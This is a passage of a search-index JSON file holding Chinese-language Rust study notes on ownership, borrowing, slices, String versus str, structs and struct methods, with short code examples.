<p>\u5982\u679c\u5c06\u4e00\u4e2a\u53d8\u91cf\u5f53\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u4f20\u9012\u7ed9\u5176\u4ed6\u51fd\u6570\uff0c\u600e\u4e48\u6837\u5b89\u5168\u7684\u5904\u7406\u6240\u6709\u6743\u5462\uff1f</p> <p>\u5b9e\u4f8b <pre><code>fn main() {\n    let s = String::from(\"hello\");\n    // s \u88ab\u58f0\u660e\u6709\u6548\n\n    takes_ownership(s);\n    // s \u7684\u503c\u88ab\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\u51fd\u6570\n    // \u6240\u4ee5\u53ef\u4ee5\u5f53\u4f5c s \u5df2\u7ecf\u88ab\u79fb\u52a8\uff0c\u4ece\u8fd9\u91cc\u5f00\u59cb\u5df2\u7ecf\u65e0\u6548\n\n    let x = 5;\n    // x \u88ab\u58f0\u660e\u6709\u6548\n\n    makes_copy(x);\n    // x \u7684\u503c\u88ab\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\u51fd\u6570\n    // \u4f46 x \u662f\u57fa\u672c\u7c7b\u578b\uff0c\u4f9d\u7136\u6709\u6548\n    // \u5728\u8fd9\u91cc\u4f9d\u7136\u53ef\u4ee5\u4f7f\u7528 x \u5374\u4e0d\u80fd\u4f7f\u7528 s\n\n} // \u51fd\u6570\u7ed3\u675f, x \u65e0\u6548, \u7136\u540e\u662f s. \u4f46 s \u5df2\u88ab\u79fb\u52a8, \u6240\u4ee5\u4e0d\u7528\u88ab\u91ca\u653e\n\n\nfn takes_ownership(some_string: String) { \n    // \u4e00\u4e2a String \u53c2\u6570 some_string \u4f20\u5165\uff0c\u6709\u6548\n    println!(\"{}\", some_string);\n} // \u51fd\u6570\u7ed3\u675f, \u53c2\u6570 some_string \u5728\u8fd9\u91cc\u91ca\u653e\n\nfn makes_copy(some_integer: i32) { \n    // \u4e00\u4e2a i32 \u53c2\u6570 some_integer \u4f20\u5165\uff0c\u6709\u6548\n    println!(\"{}\", some_integer);\n} // \u51fd\u6570\u7ed3\u675f, \u53c2\u6570 some_integer \u662f\u57fa\u672c\u7c7b\u578b, \u65e0\u9700\u91ca\u653e\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_28","title":"\u5f15\u7528\u4e0e\u79df\u501f","text":"<p>\u5f15\u7528\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\uff0c\u5b9e\u8d28\u4e0a\u662f\u53d8\u91cf\u7684\u95f4\u63a5\u8bbf\u95ee\u65b9\u5f0f</p> <p>\u4f8b\u5982 <pre><code>fn main() {\n    let s1 = String::from(\"hello\");\n    let s2 = &amp;s1;//&amp; \u8fd0\u7b97\u7b26\u53ef\u4ee5\u53d6\u53d8\u91cf\u7684\"\u5f15\u7528\"\u3002\n    println!(\"s1 is {}, s2 is {}\", s1, s2);\n}\n</code></pre></p> <p>\u8fd0\u884c\u7ed3\u679c <code>s1 is hello, s2 is hello</code> \u8fd9\u6837\u5c31\u4fdd\u7559\u4e86<code>s1</code>\u7684\u6240\u6709\u6743</p> <p>Note</p> <p>\u5f53\u4e00\u4e2a\u53d8\u91cf\u7684\u503c\u88ab\u5f15\u7528\u65f6\uff0c\u53d8\u91cf\u672c\u8eab\u4e0d\u4f1a\u88ab\u8ba4\u5b9a\u65e0\u6548\u3002\u56e0\u4e3a\"\u5f15\u7528\"\u5e76\u6ca1\u6709\u5728\u6808\u4e2d\u590d\u5236\u53d8\u91cf\u7684\u503c,\u800c\u662f\u7c7b\u4f3c\u4e8e<code>s2</code>\u591a\u4e86\u4e00\u4e2a\u6307\u5411<code>s1</code>\u7684\u6307\u9488</p> <p>\u901a\u8fc7\u501f\u7528\uff0c\u53ef\u4ee5\u907f\u514d\u51fd\u6570\u4e22\u5931\u6240\u6709\u6743  <pre><code>fn main() {\n let s1 = String::from(\"hello\");\n\n let len = calculate_length(&amp;s1);\n\n println!(\"The length of '{}' is {}.\", s1, len);\n }\n\n fn calculate_length(s: &amp;String) -&gt; usize {\n     s.len()\n }\n</code></pre>  \u8fd0\u884c\u7ed3\u679c  <pre><code>The length of 'hello' is 5.\n</code></pre></p> Warning <p>\u5f15\u7528\u4e0d\u4f1a\u83b7\u5f97\u503c\u7684\u6240\u6709\u6743\u3002</p> <p>\u5f15\u7528\u53ea\u80fd\u79df\u501f\uff08Borrow\uff09\u503c\u7684\u6240\u6709\u6743\u3002</p> <p>\u5f15\u7528\u672c\u8eab\u4e5f\u662f\u4e00\u4e2a\u7c7b\u578b\u5e76\u5177\u6709\u4e00\u4e2a\u503c\uff0c\u8fd9\u4e2a\u503c\u8bb0\u5f55\u7684\u662f\u522b\u7684\u503c\u6240\u5728\u7684\u4f4d\u7f6e\uff0c\u4f46\u5f15\u7528\u4e0d\u5177\u6709\u6240\u6307\u503c\u7684\u6240\u6709\u6743\uff1a</p> <p><pre><code>fn main() {\nlet s1 = String::from(\"hello\");\nlet s2 = &amp;s1;\nlet s3 = s1;\nprintln!(\"{}\", s2);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4e0d\u6b63\u786e\uff1a\u56e0\u4e3a <code>s2</code> \u79df\u501f\u7684 <code>s1</code> \u5df2\u7ecf\u5c06\u6240\u6709\u6743\u79fb\u52a8\u5230 <code>s3</code>\uff0c\u6240\u4ee5 <code>s2</code> \u5c06\u65e0\u6cd5\u7ee7\u7eed\u79df\u501f\u4f7f\u7528 <code>s1</code> \u7684\u6240\u6709\u6743\u3002\u5982\u679c\u9700\u8981\u4f7f\u7528 <code>s2</code> \u4f7f\u7528\u8be5\u503c\uff0c\u5fc5\u987b\u91cd\u65b0\u79df\u501f.</p> <p>\u65e2\u7136\u5f15\u7528\u4e0d\u5177\u6709\u6240\u6709\u6743\uff0c\u5373\u4f7f\u5b83\u79df\u501f\u4e86\u6240\u6709\u6743\uff0c\u5b83\u4e5f\u53ea\u4eab\u6709\u4f7f\u7528\u6743\uff08\u8fd9\u8ddf\u79df\u623f\u5b50\u662f\u4e00\u4e2a\u9053\u7406\uff09\u3002 \u5982\u679c\u5c1d\u8bd5\u5229\u7528\u79df\u501f\u6765\u7684\u6743\u5229\u6765\u4fee\u6539\u6570\u636e\u4f1a\u88ab\u963b\u6b62\uff1a <pre><code>fn main() {\nlet s1 = String::from(\"run\");\nlet s2 = &amp;s1; \nprintln!(\"{}\", s2);\ns2.push_str(\"oob\"); // \u9519\u8bef\uff0c\u7981\u6b62\u4fee\u6539\u79df\u501f\u7684\u503c\nprintln!(\"{}\", s2);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4e2d s2 \u5c1d\u8bd5\u4fee\u6539 s1 \u7684\u503c\u88ab\u963b\u6b62\uff0c\u79df\u501f\u7684\u6240\u6709\u6743\u4e0d\u80fd\u4fee\u6539\u6240\u6709\u8005\u7684\u503c\u3002</p> <p>\u5f53\u7136\uff0c\u4e5f\u5b58\u5728\u4e00\u79cd\u53ef\u53d8\u7684\u79df\u501f\u65b9\u5f0f\uff0c\u5c31\u50cf\u4f60\u79df\u4e00\u4e2a\u623f\u5b50\uff0c\u5982\u679c\u7269\u4e1a\u89c4\u5b9a\u623f\u4e3b\u53ef\u4ee5\u4fee\u6539\u623f\u5b50\u7ed3\u6784\uff0c\u623f\u4e3b\u5728\u79df\u501f\u65f6\u4e5f\u5728\u5408\u540c\u4e2d\u58f0\u660e\u8d4b\u4e88\u4f60\u8fd9\u79cd\u6743\u5229\uff0c\u4f60\u662f\u53ef\u4ee5\u91cd\u65b0\u88c5\u4fee\u623f\u5b50\u7684\uff1a <pre><code>fn main() {\nlet mut s1 = String::from(\"run\");\n// s1 \u662f\u53ef\u53d8\u7684\n\nlet s2 = &amp;mut s1;\n// s2 \u662f\u53ef\u53d8\u7684\u5f15\u7528\n\ns2.push_str(\"oob\");\nprintln!(\"{}\", s2);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u5c31\u6ca1\u6709\u95ee\u9898\u4e86\u3002\u6211\u4eec\u7528 <code>&amp;mut</code> \u4fee\u9970\u53ef\u53d8\u7684\u5f15\u7528\u7c7b\u578b\u3002</p> <p>\u53ef\u53d8\u5f15\u7528\u4e0e\u4e0d\u53ef\u53d8\u5f15\u7528\u76f8\u6bd4\u9664\u4e86\u6743\u9650\u4e0d\u540c\u4ee5\u5916\uff0c\u53ef\u53d8\u5f15\u7528\u4e0d\u5141\u8bb8\u591a\u91cd\u5f15\u7528\uff0c\u4f46\u4e0d\u53ef\u53d8\u5f15\u7528\u53ef\u4ee5\uff1a <pre><code>let mut s = String::from(\"hello\");\n\nlet r1 = &amp;mut s;\nlet r2 = &amp;mut s;\n\nprintln!(\"{}, {}\", r1, r2);\n</code></pre></p> <p>\u8fd9\u4e5f\u5f88\u597d\u7406\u89e3\uff0c\u4e07\u4e00<code>r1</code> <code>r2</code>\u5e76\u53d1\u6539\u53d8\u4e86<code>s</code>,\u5982\u4f55\u5904\u7406\u4f1a\u662f\u4e00\u4e2a\u68d8\u624b\u7684\u95ee\u9898\uff0crust\u5728\u7f16\u8bd1\u9636\u6bb5\u5c31\u907f\u514d\u4e86\u8fd9\u79cd\u60c5\u51b5\u7684\u53d1\u751f</p>"},{"location":"NOTE/CS/RUST/RUST/#_29","title":"\u5782\u60ac\u5f15\u7528","text":"<p>\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u90a3\u79cd\u90a3\u79cd\u6ca1\u6709\u5b9e\u9645\u6307\u5411\u4e00\u4e2a\u771f\u6b63\u80fd\u8bbf\u95ee\u7684\u6570\u636e\u7684\u6307\u9488(\u4e0d\u4e00\u5b9a\u662f\u7a7a\u6307\u9488\uff0c\u4e5f\u6709\u53ef\u80fd\u662f\u5df2\u7ecf\u91ca\u653e\u7684\u8d44\u6e90)\uff0c\u5b83\u4eec\u5c31\u50cf\u5931\u53bb\u60ac\u6302\u7269\u4f53\u7684\u7ef3\u5b50\uff0c\u6240\u4ee5\u53eb\"\u5782\u60ac\u5f15\u7528\"</p> <pre><code>\u7136\u800c\u8fd9\u79cd\u5f15\u7528\u5728rust\u4e2d\u5e76\u4e0d\u5141\u8bb8\u51fa\u73b0\uff0c\u7f16\u8bd1\u5668\u4f1a\u53d1\u73b0\u8fd9\u79cd\u5f15\u7528\u5e76\u52a0\u4ee5\u963b\u6b62\n</code></pre> <p><code>rust fn main() {     let reference_to_nothing = dangle(); }  fn dangle() -&gt; &amp;String {     let s = String::from(\"hello\");      &amp;s }</code> \u5f88\u663e\u7136\uff0c\u4f34\u968f\u7740 dangle \u51fd\u6570\u7684\u7ed3\u675f\uff0c\u5176\u5c40\u90e8\u53d8\u91cf\u7684\u503c\u672c\u8eab\u6ca1\u6709\u88ab\u5f53\u4f5c\u8fd4\u56de\u503c\uff0c\u88ab\u91ca\u653e\u4e86\u3002\u4f46\u5b83\u7684\u5f15\u7528\u5374\u88ab\u8fd4\u56de\uff0c\u8fd9\u4e2a\u5f15\u7528\u6240\u6307\u5411\u7684\u503c\u5df2\u7ecf\u4e0d\u80fd\u786e\u5b9a\u7684\u5b58\u5728\uff0c\u6545\u4e0d\u5141\u8bb8\u5176\u51fa\u73b0\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_30","title":"\u5207\u7247\u7c7b\u578b","text":"<p>\u5207\u7247\uff08Slice\uff09\u662f\u5bf9\u6570\u636e\u503c\u7684\u90e8\u5206\u5f15\u7528\u3002</p> <p>\u5207\u7247\u8fd9\u4e2a\u540d\u5b57\u5f80\u5f80\u51fa\u73b0\u5728\u751f\u7269\u8bfe\u4e0a\uff0c\u6211\u4eec\u505a\u6837\u672c\u73bb\u7247\u7684\u65f6\u5019\u8981\u4ece\u751f\u7269\u4f53\u4e0a\u83b7\u53d6\u5207\u7247\uff0c\u4ee5\u4f9b\u5728\u663e\u5fae\u955c\u4e0a\u89c2\u5bdf\u3002\u5728 Rust \u4e2d\uff0c\u5207\u7247\u7684\u610f\u601d\u5927\u81f4\u4e5f\u662f\u8fd9\u6837\uff0c\u53ea\u4e0d\u8fc7\u5b83\u4ece\u6570\u636e\u53d6\u6750\u5f15\u7528\u3002</p> <p>rust\u4e2d\u7684\u5207\u7247\u4e0epython\u4e2d\u7684\u6570\u7ec4\u5207\u7247\u4e5f\u662f\u7c7b\u4f3c\u7684</p> <p>\u6700\u7b80\u5355\u3001\u6700\u5e38\u7528\u7684\u6570\u636e\u5207\u7247\u7c7b\u578b\u662f\u5b57\u7b26\u4e32\u5207\u7247\uff08String Slice\uff09\uff0c\u5176\u4ed6\u7c7b\u578b\u5982\u6570\u7ec4\u5207\u7247\u4e5f\u662f\u5141\u8bb8\u7684 <pre><code>fn main() {\n    let s = String::from(\"broadcast\");\n\n    let part1 = &amp;s[0..5];\n    let part2 = &amp;s[5..9];\n\n    println!(\"{}={}+{}\", s, part1, part2);\n\n    let arr = [1, 3, 5, 7, 9];\n    let part = &amp;arr[0..3];\n    for i in part.iter() {\n        println!(\"{}\", i);\n    }\n}\n</code></pre></p> <p>rust\u4e2d\u6709<code>x..y</code>\u6765\u5b9e\u73b0\\([x,y)\\)\u7684\u542b\u4e49</p> <ul> <li>..y \u7b49\u4ef7\u4e8e 0..y</li> <li>x.. \u7b49\u4ef7\u4e8e\u4f4d\u7f6e x \u5230\u6570\u636e\u7ed3\u675f</li> <li>.. \u7b49\u4ef7\u4e8e\u4f4d\u7f6e 0 \u5230\u7ed3\u675f</li> </ul> <p>\u88ab\u5207\u7247\u5f15\u7528\u7684\u5b57\u7b26\u4e32\u7981\u6b62\u66f4\u6539\u5176\u503c\uff1a</p> <p>\u5b9e\u4f8b <pre><code>fn main() {\n    let mut s = String::from(\"runoob\");\n    let slice = &amp;s[0..3];\n    s.push_str(\"yes!\"); // \u9519\u8bef\n    println!(\"slice = {}\", slice);\n}\n</code></pre> \u8fd9\u6bb5\u7a0b\u5e8f\u4e0d\u6b63\u786e\u3002</p> <p><code>s</code> \u88ab\u90e8\u5206\u5f15\u7528\uff0c\u7981\u6b62\u66f4\u6539\u5176\u503c\u3002</p> <p>String\u548cstr</p> <p>\u5b9e\u9645\u4e0a\uff0c\u5230\u76ee\u524d\u4e3a\u6b62\u4f60\u4e00\u5b9a\u7591\u60d1\u4e3a\u4ec0\u4e48\u6bcf\u4e00\u6b21\u4f7f\u7528\u5b57\u7b26\u4e32\u90fd\u8981\u8fd9\u6837\u5199<code>String::from(\"runoob\")</code> \uff0c\u76f4\u63a5\u5199 <code>\"runoob\"</code> \u4e0d\u884c\u5417\uff1f</p> <p>\u524d\u9762\u4e5f\u6709\u63d0\u5230\u8fc7\uff0c\u4f46\u662f\u8fd9\u91cc\u53ef\u4ee5\u66f4\u52a0\u7ec6\u81f4\u7684\u8bf4\u660e\u4e00\u4e0b</p> <p>\u5728 Rust \u4e2d\u6709\u4e24\u79cd\u5e38\u7528\u7684\u5b57\u7b26\u4e32\u7c7b\u578b\uff1astr \u548c String\u3002str \u662f Rust \u6838\u5fc3\u8bed\u8a00\u7c7b\u578b\uff0c\u5c31\u662f\u672c\u7ae0\u4e00\u76f4\u5728\u8bb2\u7684\u5b57\u7b26\u4e32\u5207\u7247\uff08String Slice\uff09\uff0c\u5e38\u5e38\u4ee5\u5f15\u7528\u7684\u5f62\u5f0f\u51fa\u73b0\uff08&amp;str\uff09\u3002</p> <p>\u51e1\u662f\u7528\u53cc\u5f15\u53f7\u5305\u62ec\u7684\u5b57\u7b26\u4e32\u5e38\u91cf\u6574\u4f53\u7684\u7c7b\u578b\u6027\u8d28\u90fd\u662f &amp;str\uff1a let s = \"hello\"; \u8fd9\u91cc\u7684 s \u5c31\u662f\u4e00\u4e2a &amp;str \u7c7b\u578b\u7684\u53d8\u91cf\u3002 String \u7c7b\u578b\u662f Rust \u6807\u51c6\u516c\u5171\u5e93\u63d0\u4f9b\u7684\u4e00\u79cd\u6570\u636e\u7c7b\u578b\uff0c\u5b83\u7684\u529f\u80fd\u66f4\u5b8c\u5584\u2014\u2014\u5b83\u652f\u6301\u5b57\u7b26\u4e32\u7684\u8ffd\u52a0\u3001\u6e05\u7a7a\u7b49\u5b9e\u7528\u7684\u64cd\u4f5c\u3002String \u548c str \u9664\u4e86\u540c\u6837\u62e5\u6709\u4e00\u4e2a\u5b57\u7b26\u5f00\u59cb\u4f4d\u7f6e\u5c5e\u6027\u548c\u4e00\u4e2a\u5b57\u7b26\u4e32\u957f\u5ea6\u5c5e\u6027\u4ee5\u5916\u8fd8\u6709\u4e00\u4e2a\u5bb9\u91cf\uff08capacity\uff09\u5c5e\u6027\u3002 String \u548c str \u90fd\u652f\u6301\u5207\u7247\uff0c\u5207\u7247\u7684\u7ed3\u679c\u662f &amp;str \u7c7b\u578b\u7684\u6570\u636e\u3002 \u6ce8\u610f\uff1a\u5207\u7247\u7ed3\u679c\u5fc5\u987b\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u4f46\u5f00\u53d1\u8005\u5fc5\u987b\u81ea\u5df1\u660e\u793a\u8fd9\u4e00\u70b9: <pre><code>let slice = &amp;s[0..3];\n</code></pre> \u6709\u4e00\u4e2a\u5feb\u901f\u7684\u529e\u6cd5\u53ef\u4ee5\u5c06 String \u8f6c\u6362\u6210 &amp;str\uff1a <pre><code>let s1 = String::from(\"hello\");\nlet s2 = &amp;s1[..];\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#rust_2","title":"RUST\u4e2d\u7684\u7ed3\u6784\u4f53","text":"<p>Rust \u4e2d\u7684\u7ed3\u6784\u4f53\uff08Struct\uff09\u4e0e\u5143\u7ec4\uff08Tuple\uff09\u90fd\u53ef\u4ee5\u5c06\u82e5\u5e72\u4e2a\u7c7b\u578b\u4e0d\u4e00\u5b9a\u76f8\u540c\u7684\u6570\u636e\u6346\u7ed1\u5728\u4e00\u8d77\u5f62\u6210\u6574\u4f53\uff0c\u4f46\u7ed3\u6784\u4f53\u7684\u6bcf\u4e2a\u6210\u5458\u548c\u5176\u672c\u8eab\u90fd\u6709\u4e00\u4e2a\u540d\u5b57\uff0c\u8fd9\u6837\u8bbf\u95ee\u5b83\u6210\u5458\u7684\u65f6\u5019\u5c31\u4e0d\u7528\u8bb0\u4f4f\u4e0b\u6807\u4e86\u3002\u5143\u7ec4\u5e38\u7528\u4e8e\u975e\u5b9a\u4e49\u7684\u591a\u503c\u4f20\u9012\uff0c\u800c\u7ed3\u6784\u4f53\u7528\u4e8e\u89c4\u8303\u5e38\u7528\u7684\u6570\u636e\u7ed3\u6784\u3002\u7ed3\u6784\u4f53\u7684\u6bcf\u4e2a\u6210\u5458\u53eb\u505a\"\u5b57\u6bb5\"\u3002</p> <p>\u5148\u7ed9\u51fa\u4e00\u4e2a\u7ed3\u6784\u4f53\u7684\u4f8b\u5b50</p> <pre><code>struct Site {\n    domain: String,\n    name: String,\n    nation: String,\n    found: u32\n}\n</code></pre> <p>C\u8bed\u8a00\u4e2d\u7684 <pre><code>struct site{\n    char* domain;\n    char* name;\n    char* nation;\n    unsigned int found;    \n};\n</code></pre></p> <p>Warning</p> <p>\u8ddfC\u8bed\u8a00\u4e0d\u540c,RUST\u4e2d struct \u8bed\u53e5\u4ec5\u7528\u6765\u5b9a\u4e49\uff0c\u4e0d\u80fd\u58f0\u660e\u5b9e\u4f8b\u4e5f\u5c31\u662f\u8bf4\u5728<code>}</code>\u540e\u4e0d\u80fd\u58f0\u660e\u4e00\u4e2astruct\u7684\u53d8\u91cf\uff0c\u7ed3\u5c3e\u4e0d\u9700\u8981 ; \u7b26\u53f7\uff0c\u800c\u4e14\u6bcf\u4e2a\u5b57\u6bb5\u5b9a\u4e49\u4e4b\u540e\u7528,\u5206\u9694\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_31","title":"\u7ed3\u6784\u4f53\u5b9e\u4f8b","text":"<p>Rust \u5f88\u591a\u5730\u65b9\u53d7 JavaScript \u5f71\u54cd\uff0c\u5728\u5b9e\u4f8b\u5316\u7ed3\u6784\u4f53\u7684\u65f6\u5019\u7528 JSON \u5bf9\u8c61\u7684 key: value \u8bed\u6cd5\u6765\u5b9e\u73b0\u5b9a\u4e49\uff0c\u683c\u5f0f\u4e3a <pre><code>\u7ed3\u6784\u4f53\u7c7b\u540d {\n    \u5b57\u6bb5\u540d : \u5b57\u6bb5\u503c,\n    ...\n}\n</code></pre> \u4f8b\u5982 <pre><code>let runoob = Site {\n    domain: String::from(\"www.runoob.com\"),\n    name: String::from(\"RUNOOB\"),\n    nation: String::from(\"China\"),\n    found: 2013\n};\n</code></pre> \u5982\u679c\u6b63\u5728\u5b9e\u4f8b\u5316\u7684\u7ed3\u6784\u4f53\u6709\u5b57\u6bb5\u540d\u79f0\u548c\u73b0\u5b58\u53d8\u91cf\u540d\u79f0\u4e00\u6837\u7684\uff0c\u53ef\u4ee5\u7b80\u5316\u4e66\u5199\uff1a <pre><code>let domain = String::from(\"www.runoob.com\");\nlet name = String::from(\"RUNOOB\");\nlet runoob = Site {\n    domain,  // \u7b49\u540c\u4e8e domain : domain,\n    name,    // \u7b49\u540c\u4e8e name : name,\n    nation: String::from(\"China\"),\n    traffic: 2013\n};\n</code></pre> \u6709\u8fd9\u6837\u4e00\u79cd\u60c5\u51b5\uff1a\u4f60\u60f3\u8981\u65b0\u5efa\u4e00\u4e2a\u7ed3\u6784\u4f53\u7684\u5b9e\u4f8b\uff0c\u5176\u4e2d\u5927\u90e8\u5206\u5c5e\u6027\u9700\u8981\u88ab\u8bbe\u7f6e\u6210\u4e0e\u73b0\u5b58\u7684\u4e00\u4e2a\u7ed3\u6784\u4f53\u5c5e\u6027\u4e00\u6837\uff0c\u4ec5\u9700\u66f4\u6539\u5176\u4e2d\u7684\u4e00\u4e24\u4e2a\u5b57\u6bb5\u7684\u503c\uff0c\u53ef\u4ee5\u4f7f\u7528\u7ed3\u6784\u4f53\u66f4\u65b0\u8bed\u6cd5\uff1a <pre><code>let site = Site {\n    domain: String::from(\"www.runoob.com\"),\n    name: String::from(\"RUNOOB\"),\n    ..runoob\n};\n</code></pre></p> <p>Note</p> <p><code>..runoob</code> \u540e\u9762\u4e0d\u53ef\u4ee5\u6709\u9017\u53f7\u3002\u8fd9\u79cd\u8bed\u6cd5\u4e0d\u5141\u8bb8\u4e00\u6210\u4e0d\u53d8\u7684\u590d\u5236\u53e6\u4e00\u4e2a\u7ed3\u6784\u4f53\u5b9e\u4f8b\uff0c\u610f\u601d\u5c31\u662f\u8bf4\u81f3\u5c11\u91cd\u65b0\u8bbe\u5b9a\u4e00\u4e2a\u5b57\u6bb5\u7684\u503c\u624d\u80fd\u5f15\u7528\u5176\u4ed6\u5b9e\u4f8b\u7684\u503c\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_32","title":"\u5143\u7ec4\u7ed3\u6784\u4f53","text":"<p>\u5143\u7ec4\u7ed3\u6784\u4f53\u63d0\u4f9b\u4e86\u4e00\u79cd\u66f4\u52a0\u65b9\u4fbf\u5feb\u6377\u7684\u5b9a\u4e49\u548c\u4f7f\u7528\u7ed3\u6784\u4f53\u7684\u65b9\u5f0f</p> <p><pre><code>struct Color(u8, u8, u8);\nstruct Point(f64, f64);\nlet black = Color(0, 0, 0);\nlet origin = Point(0.0, 0.0);\n</code></pre> \u8bbf\u95ee\u7684\u65f6\u5019\u53ef\u4ee5\u901a\u8fc7\u70b9\u548c\u4e0b\u6807\u6765\u8bbf\u95ee\uff0c\u5982<code>black.0</code></p> <p>\u7ed3\u6784\u4f53\u6240\u6709\u6743:\u7ed3\u6784\u4f53\u5fc5\u987b\u638c\u63e1\u5b57\u6bb5\u503c\u6240\u6709\u6743\uff0c\u56e0\u4e3a\u7ed3\u6784\u4f53\u5931\u6548\u7684\u65f6\u5019\u4f1a\u91ca\u653e\u6240\u6709\u5b57\u6bb5\u3002 \u5f15\u7528\u7ed3\u6784\u4f53\u6210\u5458\u7ed9\u5176\u4ed6\u53d8\u91cf\u8d4b\u503c\u65f6\uff0c\u8981\u6ce8\u610f\uff1a\u6240\u6709\u6743\u7684\u8f6c\u79fb\u53ef\u80fd\u4f1a\u7834\u574f\u7ed3\u6784\u4f53\u53d8\u91cf\u7684\u5b8c\u6574\u6027\u3002\u4f8b\u5982\uff1a <pre><code>struct Dog {\n    name: String,\n    age: i8\n}\n\nfn main() {\n    let mydog = Dog {\n        name:String::from(\"wangcai\"),\n        age:3,\n    };\n    let str = mydog.name;\n    println!(\"str={}\", str);\n    println!(\"mydog: name={},age={}\", mydog.name, mydog.age);\n}\n</code></pre> \u7f16\u8bd1\u51fa\u9519 <pre><code>11 |     let str = mydog.name;\n   |               ---------- value moved here\n12 |     println!(\"str={}\", str);\n13 |     println!(\"mydog: name={},age={}\", mydog.name, mydog.age);\n   |                                       ^^^^^^^^^^ value borrowed here after move\n</code></pre></p> <p>11\u884c\uff0c\u7528<code>mydog.name</code>\u7ed9<code>str</code>\u8d4b\u503c\u65f6\uff0c\u6240\u6709\u6743\u5c31<code>move</code>\u5230\u7684<code>str</code>\u53d8\u91cf\u3002</p> <p>13\u884c\uff0c\u6253\u5370\u65f6\u5f15\u7528<code>mydog.name</code>\uff0c\u6b64\u65f6\u5df2\u7ecf\u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u518d\u4f7f\u7528\u3002</p> <p>11\u884c\u5e94\u8be5\u6539\u4e3a:</p> <p><code>let str = mydog.name.clone();</code> <code>clone()</code>\u4f1a\u521b\u5efa<code>mydog.name</code>\u7684\u4e00\u4e2a\u526f\u672c\u3002</p> <p>\u8f93\u51fa\u7ed3\u6784\u4f53</p> <p>\u8c03\u8bd5\u4e2d\uff0c\u5b8c\u6574\u5730\u663e\u793a\u51fa\u4e00\u4e2a\u7ed3\u6784\u4f53\u5b9e\u4f8b\u662f\u975e\u5e38\u6709\u7528\u7684\u3002\u4f46\u5982\u679c\u6211\u4eec\u624b\u52a8\u7684\u4e66\u5199\u4e00\u4e2a\u683c\u5f0f\u4f1a\u975e\u5e38\u7684\u4e0d\u65b9\u4fbf\u3002\u6240\u4ee5 Rust \u63d0\u4f9b\u4e86\u4e00\u4e2a\u65b9\u4fbf\u5730\u8f93\u51fa\u4e00\u6574\u4e2a\u7ed3\u6784\u4f53\u7684\u65b9\u6cd5\uff1a</p> <p>Example</p> <p><pre><code>#[derive(Debug)]\n\nstruct Rectangle {\n    width: u32,\n    height: u32,\n}\n\nfn main() {\n    let rect1 = Rectangle { width: 30, height: 50 };\n\n    println!(\"rect1 is {:?}\", rect1);\n}\n</code></pre> \u5982\u7b2c\u4e00\u884c\u6240\u793a\uff1a\u4e00\u5b9a\u8981\u5bfc\u5165\u8c03\u8bd5\u5e93 <code>#[derive(Debug)]</code> \uff0c\u4e4b\u540e\u5728 <code>println</code> \u548c <code>print</code> \u5b8f\u4e2d\u5c31\u53ef\u4ee5\u7528 <code>{:?}</code> \u5360\u4f4d\u7b26\u8f93\u51fa\u4e00\u6574\u4e2a\u7ed3\u6784\u4f53\uff1a <pre><code>rect1 is Rectangle { width: 30, height: 50 }\n</code></pre> \u5982\u679c\u5c5e\u6027\u8f83\u591a\u7684\u8bdd\u53ef\u4ee5\u4f7f\u7528\u53e6\u4e00\u4e2a\u5360\u4f4d\u7b26 <code>{:#?}</code> \u3002 <pre><code>rect1 is Rectangle {\nwidth: 30,\nheight: 50\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_33","title":"\u7ed3\u6784\u4f53\u65b9\u6cd5","text":"<p>\u65b9\u6cd5\uff08Method\uff09\u548c\u51fd\u6570\uff08Function\uff09\u7c7b\u4f3c\uff0c\u53ea\u4e0d\u8fc7\u5b83\u662f\u7528\u6765\u64cd\u4f5c\u7ed3\u6784\u4f53\u5b9e\u4f8b\u7684\u3002</p> <p>\u5982\u679c\u4f60\u5b66\u4e60\u8fc7\u4e00\u4e9b\u9762\u5411\u5bf9\u8c61\u7684\u8bed\u8a00\uff0c\u90a3\u4f60\u4e00\u5b9a\u5f88\u6e05\u695a\u51fd\u6570\u4e00\u822c\u653e\u5728\u7c7b\u5b9a\u4e49\u91cc\u5e76\u5728\u51fd\u6570\u4e2d\u7528 this \u8868\u793a\u6240\u64cd\u4f5c\u7684\u5b9e\u4f8b\u3002</p> <p>Rust \u8bed\u8a00\u4e0d\u662f\u9762\u5411\u5bf9\u8c61\u7684\uff0c\u4ece\u5b83\u6240\u6709\u6743\u673a\u5236\u7684\u521b\u65b0\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e00\u70b9\u3002\u4f46\u662f\u9762\u5411\u5bf9\u8c61\u7684\u73cd\u8d35\u601d\u60f3\u53ef\u4ee5\u5728 Rust \u5b9e\u73b0\u3002</p> <p>\u7ed3\u6784\u4f53\u65b9\u6cd5\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u5fc5\u987b\u662f &amp;self\uff0c\u4e0d\u9700\u58f0\u660e\u7c7b\u578b\uff0c\u56e0\u4e3a self \u4e0d\u662f\u4e00\u79cd\u98ce\u683c\u800c\u662f\u5173\u952e\u5b57\u3002</p> <pre><code>struct Rectangle {\n    width: u32,\n    height: u32,\n}\n\nimpl Rectangle {\n    fn area(&amp;self) -&gt; u32 {\n        self.width * self.height\n    }\n\n    fn wider(&amp;self, rect: &amp;Rectangle) -&gt; bool {\n        self.width &gt; rect.width\n    }\n}\n\nfn main() {\n    let rect1 = Rectangle { width: 30, height: 50 };\n    let rect2 = Rectangle { width: 40, height: 20 };\n\n    println!(\"{}\", rect1.wider(&amp;rect2));\n}\n</code></pre> Info 